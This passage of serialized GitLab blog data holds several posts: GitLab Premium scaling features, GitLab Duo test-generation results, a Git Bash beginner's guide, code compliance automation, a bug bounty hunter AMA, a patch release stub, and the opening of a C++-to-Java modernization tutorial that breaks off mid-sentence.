capabilities.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665151/Blog/Hero%20Images/blog-image-template-1800x945__27_.png","https://about.gitlab.com/blog/5-gitlab-premium-features-to-help-your-team-scale","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 GitLab Premium features to help your team scale\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Julie Griffin\"}],\n        \"datePublished\": \"2024-12-18\",\n      }",{"title":3334,"description":3335,"authors":3340,"heroImage":3336,"date":3322,"body":3341,"category":695,"tags":3342},[3321],"As development teams grow, what once worked for a small team often becomes a bottleneck. Code standards become inconsistent, operational silos develop, and technical debt accumulates faster. What was a well-oiled machine is now dysfunctional as more team members, projects, and tools are added on. \n\nMany teams experience these challenges as they grow, but how you handle and address these growing pains can save you time, energy, and money in the long run. In this article, we’ll explore the common pitfalls growing teams face and how successful organizations address them. \n\n## 1. Consistent code quality\n\nOne of the challenges growing teams face is [maintaining consistent code quality](https://about.gitlab.com/blog/transform-code-quality-and-compliance-with-automated-processes/) as more developers contribute to the codebase. Quality issues that were once caught quickly now take longer to identify and fix.\n\nSuccessful teams address these challenges through automated code analysis throughout their development workflow. Instead of relying solely on manual reviews, they implement systems to identify potential issues and enforce consistent standards before code even reaches human reviewers. This approach helps detect complexity issues early and flags potential security vulnerabilities, allowing reviewers to focus on more strategic aspects of code review.\n\n### Features that maintain consistent code quality\n\n* Start by automating code analysis in your workflow. With GitLab Premium, you can set up [Code Quality Reports](https://docs.gitlab.com/ee/ci/testing/code_quality.html) in your merge requests. This helps catch issues early by analyzing code complexity and quality before review begins. For example, when a developer submits changes that might increase technical debt, the report will flag these issues automatically.  \n* Next, establish automated quality standards. Configure Quality Gates to define what \"good code\" means for your team. This could include test coverage requirements, complexity limits, or specific coding patterns. When code doesn't meet these standards, merges are automatically blocked until issues are addressed.  \n* Finally, prevent issues before they even reach review. [Push Rules](https://docs.gitlab.com/ee/user/project/repository/push_rules.html) let you enforce standards right at commit time. You might start with simple rules like requiring certain commit message formats, then gradually add more sophisticated checks as your team adapts.\n\n## 2. Improve collaboration and productivity\n\nThe priorities for startups are often budget and speed, but as businesses grow, tracking DevSecOps workflows across a patchwork of tools can actually deter productivity.\n\nDisparate tools cause developers to context switch between platforms, decreasing focus time and development speed. Toolchain sprawl also limits visibility among teams, creating operational silos that lead to miscommunication.\n\nTo address these challenges, teams often turn to Agile solutions to help with project management, align timelines, and improve cross-team collaboration. When combined with a DevSecOps environment, [Agile](https://about.gitlab.com/topics/agile-devsecops/) creates a powerful system for software development that marries the iterative Agile approach with a security-first mindset. \n\n### Features that improve collaboration and productivity\n\n* With GitLab Premium, teams can access enterprise-grade Agile tools within their DevSecOps platforms. You can start by creating [groups and projects](http://%20epics), assigning team members roles, and determining their level of permission.   \n* [Milestones](https://docs.gitlab.com/ee/user/project/milestones/) and [epics](https://docs.gitlab.com/ee/user/group/epics/index.html) help teams plan large-scale initiatives across multiple projects to track dependencies, progress, and align on deliverables. This gives everyone clear visibility into the process.  \n* Then, dive deeper into each task with [issues](https://docs.gitlab.com/ee/user/project/issue_board.html). With customizable workflows and multi-assignee capabilities, teams can visualize project progress, dynamically adjust priorities, and collaborate on issue resolution.\n\n## 3. Increase deployment velocity\n\nIn theory, teams should be more productive as they scale. However, if tools aren’t updated to accommodate a growing team, the CI/CD pipeline can feel clunky and inefficient. \n\nTeams turn to tools that help them automate and optimize the [CI/CD pipeline](https://about.gitlab.com/topics/ci-cd/cicd-pipeline/). By automating components like code reviews, merge trains, and permissions, teams can streamline the CI/CD pipeline and improve deployment speed. \n\n### Features that increase deployment velocity\n\nGitLab Premium offers advanced features that help you build, maintain, deploy, and monitor complex pipelines. Increase the speed of deployment through the CI/CD pipeline with more control over code reviews and merge request processes.\n\n* You can automate the merging of multiple changes in a controlled sequence with Merge Trains. This reduces integration issues and improves deployment efficiency.  \n* Gain visibility into whether your jobs passed or failed with Multi-Project Pipeline Graphs. Access all related jobs for a single commit and the net result of each stage of your pipeline to quickly see what failed and fix it.  \n* Team leaders can access comprehensive insights and make data-informed decisions with [Code Review Analytics](https://docs.gitlab.com/ee/user/analytics/code_review_analytics.html) that provide detailed metrics and merge request analytics. This helps teams identify bottlenecks, optimize review cycles, and establish data-driven process improvements. \n\n## 4. Enhance security and compliance controls\n\nWithout rigorous governance policies, inefficient and insecure code may be released. With smaller companies, security reviews are often manual and the reviews often take a backseat to speed. This can lead to teams releasing incorrect or unsafe code to production causing costly delays. \n\nTo [evolve their security practices](https://about.gitlab.com/blog/3-signs-your-team-is-ready-to-uplevel-security-controls-in-gitlab/), teams turn to stricter access controls, a more refined and delineated review process, as well as features that enable teams to review and track changes. \n\n### Features that enhance security and compliance controls\n\n* With stricter access controls, such as [Protected Branches and Protected Environments](https://docs.gitlab.com/ee/user/project/repository/branches/protected.html), you can restrict push and merge access, securing those areas from unwanted changes by unauthorized users.  \n* To strengthen security review processes, implement [Multiple Approvers in Merge Requests](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/). This requires team members to review and approve code changes before they’re pushed through.  \n* Review who performed a certain action within the repository and at what time with [Audit Events](https://docs.gitlab.com/ee/administration/audit_event_reports.html). By tracking changes, you’re able to stay on top of compliance requirements. \n\n## 5. Avoid downtime and delays\n\nWithout support, teams are left to troubleshoot issues themselves. This can lead to major delays or periods of downtime where the company is unable to deliver value. As companies grow, this downtime becomes more and more detrimental to the business. \n\nIt’s important to evaluate what your company’s threshold is for downtime. When the value of the downtime outweighs the cost of support, it’s time to scale your DevSecOps platform to meet those needs. \n\n### Support services to avoid downtime and delays\n\nWith GitLab Premium, customers of both SaaS and self-managed instances have access to [Priority Support](https://about.gitlab.com/support/#priority-support). GitLab customer support offers Tiered Support response times, ranging from emergency to low-impact services, and can help you resolve issues quickly, minimizing downtime and disruption to your development cycle.\n\nPlus, for self-managed customers moving to Premium, GitLab offers support for any issues that occur after implementation and upgrade assistance to provide a seamless transition. \n\n## Build today, scale for tomorrow with GitLab Premium\n\nInstead of struggling with the challenges that growing teams face, scale your DevSecOps platform with GitLab Premium. \n\nGitLab Premium provides teams with the project management, pipeline tools, security, and support needed to work efficiently and effectively across the software development lifecycle. \n\n> #### Learn more about [why you should upgrade to GitLab Premium](https://about.gitlab.com/pricing/premium/why-upgrade/).",[479,754],{"slug":3344,"featured":6,"template":678},"5-gitlab-premium-features-to-help-your-team-scale","content:en-us:blog:5-gitlab-premium-features-to-help-your-team-scale.yml","5 Gitlab Premium Features To Help Your Team Scale","en-us/blog/5-gitlab-premium-features-to-help-your-team-scale.yml","en-us/blog/5-gitlab-premium-features-to-help-your-team-scale",{"_path":3350,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3351,"content":3357,"config":3363,"_id":3365,"_type":16,"title":3366,"_source":17,"_file":3367,"_stem":3368,"_extension":20},"/en-us/blog/automating-with-gitlab-duo-part-3-validating-testing",{"title":3352,"description":3353,"ogTitle":3352,"ogDescription":3353,"noIndex":6,"ogImage":3354,"ogUrl":3355,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3355,"schema":3356},"Automating with GitLab Duo, Part 3: Validating testing","Discover what test we ran to validate the impact of GitLab Duo on our team’s automated testing – and the results we achieved.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097447/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%284%29_3LZkiDjHLjhqEkvOvBsVKp_1750097447404.png","https://about.gitlab.com/blog/automating-with-gitlab-duo-part-3-validating-testing","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Automating with GitLab Duo, Part 3: Validating testing\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Byron Boots\"}],\n        \"datePublished\": \"2024-12-17\",\n      }",{"title":3352,"description":3353,"authors":3358,"heroImage":3354,"date":3360,"body":3361,"category":791,"tags":3362},[3359],"Byron Boots","2024-12-17","In previous entries in this series, we covered [how we used GitLab Duo to generate tests for our code](https://about.gitlab.com/blog/automating-with-gitlab-duo-part-1-generating-tests/) as well as [what we learned while using GitLab Duo for generating automated tests](https://about.gitlab.com/blog/automating-with-gitlab-duo-part-2-complex-testing/). We also shared some of the ways we addressed making changes to GitLab Duo generated tests. This last article in the series will cover a test we ran to validate the impact of GitLab Duo on our team’s automated testing and discuss the impressive results we have achieved thus far.\n\n### Validation testing results\n\nTo validate that our usage of GitLab Duo to generate tests was adding value the way we expected, we challenged ourselves and GitLab Duo to replace and increase test coverage. The team removed all previously written tests to get our test coverage to 0% and then methodically went through the repository and created new test files to store GitLab Duo-generated tests.\n\nFrom this starting point, the team followed the steps outlined in [the first blog](https://about.gitlab.com/blog/automating-with-gitlab-duo-part-1-generating-tests/) to generate tests. Tests and test files were unmodified by humans to provide a stable control group and a `Tests Generated by Duo` comment at the top of them were suffixed by `duo.py` to indicate where the tests came from.\n\nAll iterations of the tests were only done through interactions with GitLab Duo through the `Generate Tests` and GitLab Duo Chat window as outlined in [the second blog in the series](https://about.gitlab.com/blog/automating-with-gitlab-duo-part-2-complex-testing/). As we shared, we requested GitLab Duo to make updates based on encountered errors, test failures, and example code snippets for GitLab Duo to use as added context. \n\nAt all times. when testing with GitLab Duo, we were running tests and coverage reports so we could see if our GitLab Duo-generated tests were increasing testing coverage and adding value as we expected. Taking advantage of [GitLab's test coverage visualization](https://docs.gitlab.com/ee/ci/testing/test_coverage_visualization/), we were able to continuously monitor the results of our work.\n\nUltimately, after using GitLab Duo to regenerate tests for code previously covered through our mostly manual testing, we were able to achieve test coverage of 84%. This was a great accomplishment for the team because:\n\n1. It was a significant improvement from prior coverage, which was at 74%.  \n2. It took approximately two days by one engineer to achieve 84%, compared to the approximately four weeks across multiple engineers that the 74% had taken.\n\nSince this experiment, the team has increased coverage even further to 89% with the help of GitLab Duo, while continuing to introduce new features.\n\n![image of achievements](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097456/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097456771.png)\n\nUsing GitLab Duo allowed for increased testing efficiency and coverage, and also allowed developers with lower context around existing code to write valuable tests, quickly. This has resulted in increased confidence on the team to develop new features without worrying about introducing errors.\n\n> If you'd like to [try GitLab Duo](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/), sign up for a free, 60-day trial today!\n",[790,942,479,754],{"slug":3364,"featured":6,"template":678},"automating-with-gitlab-duo-part-3-validating-testing","content:en-us:blog:automating-with-gitlab-duo-part-3-validating-testing.yml","Automating With Gitlab Duo Part 3 Validating Testing","en-us/blog/automating-with-gitlab-duo-part-3-validating-testing.yml","en-us/blog/automating-with-gitlab-duo-part-3-validating-testing",{"_path":3370,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3371,"content":3377,"config":3382,"_id":3384,"_type":16,"title":3385,"_source":17,"_file":3386,"_stem":3387,"_extension":20},"/en-us/blog/git-command-line-on-windows-with-git-bash",{"title":3372,"description":3373,"ogTitle":3372,"ogDescription":3373,"noIndex":6,"ogImage":3374,"ogUrl":3375,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3375,"schema":3376},"Git command line on Windows with Git Bash","Learn about Git Bash, how it works, how to install it, and the main commands you need to know.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660028/Blog/Hero%20Images/blog-image-template-1800x945__25_.png","https://about.gitlab.com/blog/git-command-line-on-windows-with-git-bash","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Git command line on Windows with Git Bash\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2024-12-16\",\n      }",{"title":3372,"description":3373,"authors":3378,"heroImage":3374,"date":3379,"body":3380,"category":813,"tags":3381},[711],"2024-12-16","Git commands allow developers to manage different versions of code and collaborate as a team. If you're in a Windows environment, you may have heard of Git Bash, a Bash terminal emulator that includes a Windows-friendly version of Git. Discover everything you need to know about installing Git Bash in this guide.\n\n## How does Git Bash work?   \nGit Bash is an application that you can install on Windows operating systems using Git for Windows. This application acts as an emulator to use the [Git version control tool](https://about.gitlab.com/topics/version-control/what-is-git-version-control/#what-is-git) on a Bash command terminal.\n\nBash is an acronym for Bourne Again SHell. SHell refers to the command terminal application of an operating system (OS). Bourne Again SHell is actually an upgraded version of Bourne SHell (also referred to as shell sh), the command line interface for UNIX developed by Stephen Bourne in 1977.  \n\nBash is the default shell for Linux and MacOS operating systems. With Git Bash, Windows users can install Bash, run Bash commands and use Git commands.\n\n## How to install Git Bash   \n\nTo download Git Bash, it is necessary to install Git for Windows. To do this, go to the official [Git for Windows](https://gitforwindows.org/) website and click \"Download\" to install the full Git package. When the download is complete, open the .exe file and begin the installation.  \n\nTo install Git Bash on Windows, please follow these step-by-step instructions:\n\n1. Open the .exe file and click **Next**. Select the appropriate folder for the installation.  \n2. Accept the terms of use and click **Next** to start the installation.  \n3. In this step, select the components to install. The pre-selected settings are relevant, but you can change them according to your preferences. Click **Next** again.  \n4. Then, choose the editor you prefer to use with Git. The tool recognizes editors already installed on your computer.  \n5. A window is displayed with three settings of the PATH environment. Depending on your needs, choose whether Git should only be used by Git Bash or if you want to use it from other third-party software.  \n6. Finally, keep the default settings by clicking **Next** and install Git Bash by clicking **Install**.\n\n## What are Bash commands?   \nFirst of all, the `pwd` (Print Working Directory) command allows you to view the absolute path. This means that it displays the path of the folder we are in at the time of typing the command.  \n**Remember:** When you open the Git Bash terminal, you are in a folder on your computer. Usually, this is the folder with your username.  \n\nThe `ls` command gives access to the list of files present in the current folder. You can also add options to the `ls` command with a dash `-`. For example, the `-l` option after `ls` lists the contents of a folder with more information about each file.\n\nBash also has a `cd` (Change Directory) command to move around your computer. To indicate the directory you want to go to, please specify the relative or absolute path after `cd`. The relative path is the location relative to the current directory while the absolute path is its location relative to the root folder.\n\n## How to use Git Bash with GitLab   \nUsing Git Bash with [GitLab](https://about.gitlab.com/) is like using the terminal emulator with another source code management platform. In order to push and retrieve your changes from GitLab, add the URL of your GitLab remote repository with the command: `git remote add origin \u003Crepository_url>`.\n\nIf your project is private, Git Bash asks you to authenticate yourself. Enter your credentials when the terminal requests your username and password. If you're having trouble logging in, check your authorization settings directly in GitLab.\n\nThen use the basic Git commands like `git clone`, `git commit`, `git push`, `git branch`, as well as `git checkout`, to name a few. To learn more, visit our [Git Cheat Sheet](https://about.gitlab.com/images/press/git-cheat-sheet.pdf).\n\n## Git Bash FAQ   \n**Are Git Bash and GitLab compatible?**\n\nYes. Using Git Bash with GitLab is similar to working with another source code management platform. Be sure to set up GitLab as a remote repository and authenticate yourself during the initial setup.\n\n**Why use Git Bash?**\n\nGit Bash acts as a terminal emulator to use the Git and Bash commands in a Windows environment.  \n\n**What's the point of a shell?**\n\nUsing a shell allows you to automate tasks through scripts, effectively control your computer and benefit from direct access to system functions.\n\n## Read more\n- [What is Git version control?](https://about.gitlab.com/topics/version-control/what-is-git-version-control/)\n- [What's new in Git 2.47.0?](https://about.gitlab.com/blog/whats-new-in-git-2-47-0/)\n- [Git pull vs. git fetch: What's the difference?](https://about.gitlab.com/blog/git-pull-vs-git-fetch-whats-the-difference/)",[1067,815],{"slug":3383,"featured":6,"template":678},"git-command-line-on-windows-with-git-bash","content:en-us:blog:git-command-line-on-windows-with-git-bash.yml","Git Command Line On Windows With Git Bash","en-us/blog/git-command-line-on-windows-with-git-bash.yml","en-us/blog/git-command-line-on-windows-with-git-bash",{"_path":3389,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3390,"content":3395,"config":3400,"_id":3402,"_type":16,"title":3403,"_source":17,"_file":3404,"_stem":3405,"_extension":20},"/en-us/blog/transform-code-quality-and-compliance-with-automated-processes",{"title":3391,"description":3392,"ogTitle":3391,"ogDescription":3392,"noIndex":6,"ogImage":3276,"ogUrl":3393,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3393,"schema":3394},"Transform code quality and compliance with automated processes","Learn how GitLab Premium features address the technical debt and security vulnerability challenges that plague traditional approaches.","https://about.gitlab.com/blog/transform-code-quality-and-compliance-with-automated-processes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Transform code quality and compliance with automated processes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jessica Hurwitz\"}],\n        \"datePublished\": \"2024-12-13\",\n      }",{"title":3391,"description":3392,"authors":3396,"heroImage":3276,"date":3397,"body":3398,"category":695,"tags":3399},[1185],"2024-12-13","While manual code review processes may suffice for a small team, as DevSecOps teams scale, the processes create significant bottlenecks that impede software development velocity and quality. Often slow, inconsistent, and frequently failing to catch critical vulnerabilities, the manual approach leads to technical debt and increased security risks.\n\nTo mitigate risks and drive innovation, organizations must prioritize automated code quality and compliance systems. The financial implications of poor code management are substantial, with technical debt consuming up to 40% of IT budgets ([McKinsey Digital: Tech Debt Report](https://www.mckinsey.com/capabilities/mckinsey-digital/our-insights/tech-debt-reclaiming-tech-equity)) and software vulnerabilities costing an average of $4.88 million per security breach ([IBM Cost of a Data Breach Report](https://www.ibm.com/reports/data-breach)). \n\nModern software development requires a strategic approach to code management and compliance that goes beyond traditional review processes. With more robust review systems and compliance controls, organizations can innovate and secure software faster than their competitors.\n\n## The power of code review and approval processes\n\nAccording to the [GitLab 2024 Global DevSecOps Report](https://about.gitlab.com/developer-survey/), C-level executives rank code quality as one of the top benefits of DevSecOps. With executives recognizing code quality as a strategic priority, systematic review processes have emerged as a cornerstone of modern development practices. \n\n[Code review](https://about.gitlab.com/topics/version-control/what-is-code-review/) processes benefit developers through knowledge sharing, the discovery of bugs earlier in the process, and improved security. However, developers say the top changes that could be made to improve job satisfaction are increasing automation and collaboration, according to our survey.\n\nAs code quality and code review processes are embedded into the software development lifecycle, focusing on systems that remove manual code review and enhance collaboration across teams will help keep developer workflows running smoothly. \n\n### Code review processes increase collaboration and development speed\n\nThe improvement in organizational efficiency can be seen in this example with [Airbus Intelligence](https://about.gitlab.com/customers/airbus/), a leader in the geospatial industry. The development teams at Airbus struggled with inefficient processes and needed tools that could help their team collaborate efficiently across the globe. After adopting GitLab Premium, Airbus quickly noticed the improvement in code quality. \n\nGitLab CI’s built-in security testing meant developers could identify bugs and vulnerabilities before they reached production. Instead of spending a full day setting up for production and doing manual tests, those simple tasks are now automated. \n\nAirbus’ release time dramatically decreased from 24 hours to just 10 minutes. \n\n“What used to happen is we would touch one part of the code and it would break another part. Now, each time a developer pushes code, we can immediately identify problems,” said Logan Weber, Software Automation Engineer at Airbus Defense and Space, Intelligence.\n\n### Features that enable higher code quality\n\nPowerful GitLab Premium features like [Multiple Approvers for Merge Requests](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html), [Code Quality](https://docs.gitlab.com/ee/ci/testing/code_quality.html) checks integration with third-party code quality solutions, and [Protected Branches](https://docs.gitlab.com/ee/user/project/repository/branches/protected.html), enable companies to innovate faster than their competitors. \n\nBy reducing review cycle times while strengthening code integrity and compliance, DevSecOps teams address both the technical debt and security vulnerability challenges that plague traditional approaches. These security benefits help teams like AirBus Intelligence develop faster, more secure solutions.  \n\n## Why enhanced compliance controls matter\n\nThe implementation of effective code compliance strategies is constantly evolving due to [changing regulations](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/), and keeping up with these regulations is a challenge for most companies. \n\nBy developing code compliance strategies and automated control mechanisms, companies ensure that quality and compliance policies are met. \n\nFor Airbus Intelligence, security and vulnerability scans built into integration testing enabled teams to catch security and compliance issues earlier in the process.\n\n[Continuous integration](https://about.gitlab.com/topics/ci-cd/#what-is-continuous-integration-ci) gives teams visibility into more projects and allows all team members to manage deployments. Expanded access controls improve cross-team collaboration and accountability. \n\n### Features that increase accountability \n\nGitLab Premium's [advanced compliance controls](https://about.gitlab.com/solutions/security-compliance/) create an unbroken chain of accountability throughout the development process, enabling organizations to systematically track and validate every code change.\n\nUsers have greater auditability of any change and can track commits. This is in addition to strict [access controls](https://docs.gitlab.com/ee/administration/settings/visibility_and_access_controls.html) that provide specific people with the ability to push and merge changes. With [audit logs](https://docs.gitlab.com/ee/user/compliance/audit_event_types.html), users can track and review changes and activities within the repository.\n\n## Ship software faster with GitLab Premium\n\n“It’s simple. All teams operate around this one tool. Instantly, that made communication easier. We wouldn’t be where we are today if we didn’t have GitLab in our stack,” according to Airbus' Weber.\n\nGitLab Premium represents more than just a tool — it's a comprehensive approach to software engineering that empowers development teams to deliver high-quality, secure, and efficient software solutions. \n\n> #### Discover why [customers are upgrading to GitLab Premium](https://about.gitlab.com/pricing/premium/why-upgrade/).",[1384,1207,479,695,674,754],{"slug":3401,"featured":6,"template":678},"transform-code-quality-and-compliance-with-automated-processes","content:en-us:blog:transform-code-quality-and-compliance-with-automated-processes.yml","Transform Code Quality And Compliance With Automated Processes","en-us/blog/transform-code-quality-and-compliance-with-automated-processes.yml","en-us/blog/transform-code-quality-and-compliance-with-automated-processes",{"_path":3407,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3408,"content":3414,"config":3419,"_id":3421,"_type":16,"title":3422,"_source":17,"_file":3423,"_stem":3424,"_extension":20},"/en-us/blog/ask-a-hacker-a-conversation-with-ahacker1",{"title":3409,"description":3410,"ogTitle":3409,"ogDescription":3410,"noIndex":6,"ogImage":3411,"ogUrl":3412,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3412,"schema":3413},"Ask a hacker: A conversation with ahacker1","Alexander Siyou Tan, also known as ahacker1, joined us for an AMA to discuss how he got into hacking and some of his best bug bounty hunting strategies.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098255/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%282%29_5kE1qyriiwHs6cpvIwuyB_1750098255490.png","https://about.gitlab.com/blog/ask-a-hacker-a-conversation-with-ahacker1","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Ask a hacker: A conversation with ahacker1\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ottilia Westerlund\"}],\n        \"datePublished\": \"2024-12-12\",\n      }",{"title":3409,"description":3410,"authors":3415,"heroImage":3411,"date":3416,"body":3417,"category":813,"tags":3418},[2890],"2024-12-12","At GitLab we have a tradition: Every year, we invite a bug bounty hunter to join us for an AMA. This year, we met with Alexander Siyou Tan, also known as [ahacker1](https://hackerone.com/ahacker1?type=user), and did a deep dive into all aspects of bug bounty hunting.\n\n## About Alexander (ahacker1)\n\nAlexander is passionate about hacking complex SaaS applications, with a particular interest in authorization-based vulnerabilities. Currently, he's focusing on [SAML and SSO](https://about.gitlab.com/blog/the-ultimate-guide-to-enabling-saml/) research. His hacking journey began during the Covid-19 pandemic, when he transitioned from gaming to exploring game hacks and easter eggs.\n\n## Highlights from the AMA\n\nHere are some of the questions AMA attendees asked Alexander, and his responses.\n\n**What are the tools you use in your research?**\n\nI use RubyMine as my IDE, as I find it helps with analyzing code. You can jump to  different parts of the code, and that helps with efficiency and allows you to search quickly and determine interesting behavior. I used to just use BurpSuite, but not so much anymore. I mainly focus on using JetBrains to review repositories on GitLab.\n\n**Have you explored using AI to assist in finding and/or exploiting vulnerabilities?**\n\nYes! When I learn about a new feature or subject, I may ask ChatGPT how it works. It may give some insights or leads – when I do SAML research I use it.\n\n**Tell us about moving into SAML and the experience of finding the awesome bugs in that area.**\n\nSAML is like a SaaS application within a SaaS application. There's a 100-page document on how SAML works, offering infinite possibilities. I focus on code analysis, reviewing the approximately 20 libraries available. While hacking SAML can be time-consuming due to setup and configuration, the payoff can be significant.\n\n**What’s next after SAML? Will you keep digging?**\n\nI will fix SAML. I want to fix libraries. Not sure what’s next - maybe SSO stuff!\n\n### Alexander's tips for the GitLab Bug Bounty Program\n\nAlexander offered the following advice for those interested in GitLab's Bug Bounty Program:\n\n1. Leverage GitLab's open source nature for code analysis.\n2. Study patch releases to learn reverse-engineering techniques.\n3. Review GitLab's public issues and disclosed reports for insights.\n\n### Getting to know our hacker\n\n**What do you do when you don't hack?**\n\nI play games, I also go out on walks and explore nature/hike. It’s a nice break from sitting at the computer.\n\n**How long do you think you would survive in a zombie apocalypse?**\n\nNot long. Without the internet, I don’t think I'd be able to adapt.\n\n**Is cereal a type of soup?**\n\nIt most definitely is. It has both liquid and food in it.\n\n## Watch the replay\n\nFor those interested in the full AMA, check out the YouTube live playback.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/EPV0eNOOfv4?si=byNqXWKZzZLXfLfW\" title=\"GitLab Ask a Hacker AMA with Alexander Siyou Tan (@ahacker1)\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nWe extend our gratitude to all participants and, of course, to Alexander for sharing his insights. Keep up with Alexander's latest activities on his [HackerOne profile](https://hackerone.com/ahacker1).\n\n## More \"Ask a Hacker\" AMAs\n\n- [Ask a hacker - 0xn3va](https://about.gitlab.com/blog/ask-a-hacker/)\n- [Ask a hacker - ajxchapman](https://about.gitlab.com/blog/ajxchapman-ask-a-hacker/)\n- [Ask a hacker - rpadovani](https://about.gitlab.com/blog/rpadovani-ask-a-hacker/)\n\n## About the GitLab Bug Bounty Program\n\nThe GitLab Bug Bounty Program aims to enhance the security of our products and services. Managed by our Application Security team, the program has achieved significant milestones since its public launch in December 2018, including:\n\n* Resolved 1,684 reports\n* Awarded over $4.7 million in bounties\n* Thanked 655 hackers for their findings\n\n> Learn more about the [GitLab Bug Bounty Program](https://hackerone.com/gitlab).\n",[1938,674,815,267],{"slug":3420,"featured":92,"template":678},"ask-a-hacker-a-conversation-with-ahacker1","content:en-us:blog:ask-a-hacker-a-conversation-with-ahacker1.yml","Ask A Hacker A Conversation With Ahacker1","en-us/blog/ask-a-hacker-a-conversation-with-ahacker1.yml","en-us/blog/ask-a-hacker-a-conversation-with-ahacker1",{"_path":3426,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3427,"content":3434,"config":3439,"_id":3442,"_type":16,"title":3443,"_source":17,"_file":3444,"_stem":3445,"_extension":20},"/en-us/blog/gitlab-patch-release-17-6-2-17-5-4-17-4-6",{"title":3428,"description":3429,"ogTitle":3428,"ogDescription":3429,"config":3430,"ogImage":3431,"ogUrl":3432,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3432,"schema":3433},"GitLab Patch Release: 17.6.2, 17.5.4, 17.4.6","Learn more about GitLab Patch Release for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662877/Blog/Hero%20Images/security-cover-new.png","https://about.gitlab.com/blog/gitlab-patch-release-17-6-2-17-5-4-17-4-6","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.6.2, 17.5.4, 17.4.6\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Costel Maxim\"}],\n        \"datePublished\": \"2024-12-11\",\n      }",{"title":3428,"description":3429,"authors":3435,"heroImage":3431,"date":3436,"body":3437,"category":674,"tags":3438},[1162],"2024-12-11","This the blog post for [GitLab Patch Release: 17.6.2, 17.5.4, 17.4.6](https://about.gitlab.com/releases/2024/12/11/patch-release-gitlab-17-6-2-released/).",[1464],{"slug":3440,"featured":6,"template":678,"externalUrl":3441},"gitlab-patch-release-17-6-2-17-5-4-17-4-6","https://about.gitlab.com/releases/2024/12/11/patch-release-gitlab-17-6-2-released/","content:en-us:blog:gitlab-patch-release-17-6-2-17-5-4-17-4-6.yml","Gitlab Patch Release 17 6 2 17 5 4 17 4 6","en-us/blog/gitlab-patch-release-17-6-2-17-5-4-17-4-6.yml","en-us/blog/gitlab-patch-release-17-6-2-17-5-4-17-4-6",{"_path":3447,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3448,"content":3454,"config":3458,"_id":3460,"_type":16,"title":3461,"_source":17,"_file":3462,"_stem":3463,"_extension":20},"/en-us/blog/modernizing-a-simple-c-application-to-java-with-gitlab-duo",{"title":3449,"description":3450,"ogTitle":3449,"ogDescription":3450,"noIndex":6,"ogImage":3451,"ogUrl":3452,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3452,"schema":3453},"Modernizing a simple C++ application to Java with GitLab Duo","Learn how to refactor code from memory unsafe languages to memory safe languages with the help of GitLab's AI capabilities, saving time and effort on application modernization.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659507/Blog/Hero%20Images/AdobeStock_623844718.jpg","https://about.gitlab.com/blog/modernizing-a-simple-c-application-to-java-with-gitlab-duo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Modernizing a simple C++ application to Java with GitLab Duo\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2024-12-11\",\n      }",{"title":3449,"description":3450,"authors":3455,"heroImage":3451,"date":3436,"body":3456,"category":791,"tags":3457},[937],"Memory unsafe languages are those that do not handle any memory management on behalf of the developer. For example, when programming in C or C++, if you need memory during runtime, you will need to allocate and deallocate the memory yourself, running the risk of ending up with memory leaks in cases when you inadvertently forget to deallocate it. Other languages like Ada and FORTRAN provide some memory management but may not prevent memory leaks. Many organizations, including those in the public sector, have applications that have been developed using languages that are memory unsafe and are often looking to modernize these to a memory safe language, such as Java, Python, JavaScript, or Golang.\n\nThis tutorial focuses on a specific example of modernizing a simple C++ application to Java by refactoring it with the help of [GitLab Duo](https://about.gitlab.com/gitlab-duo/), our suite of AI capabilities, and shows how much time and effort you can save in the migration.\n\n## Understanding the simple C++ application\n\nLet’s make the assumption that we have been tasked with the migration of a C++ application 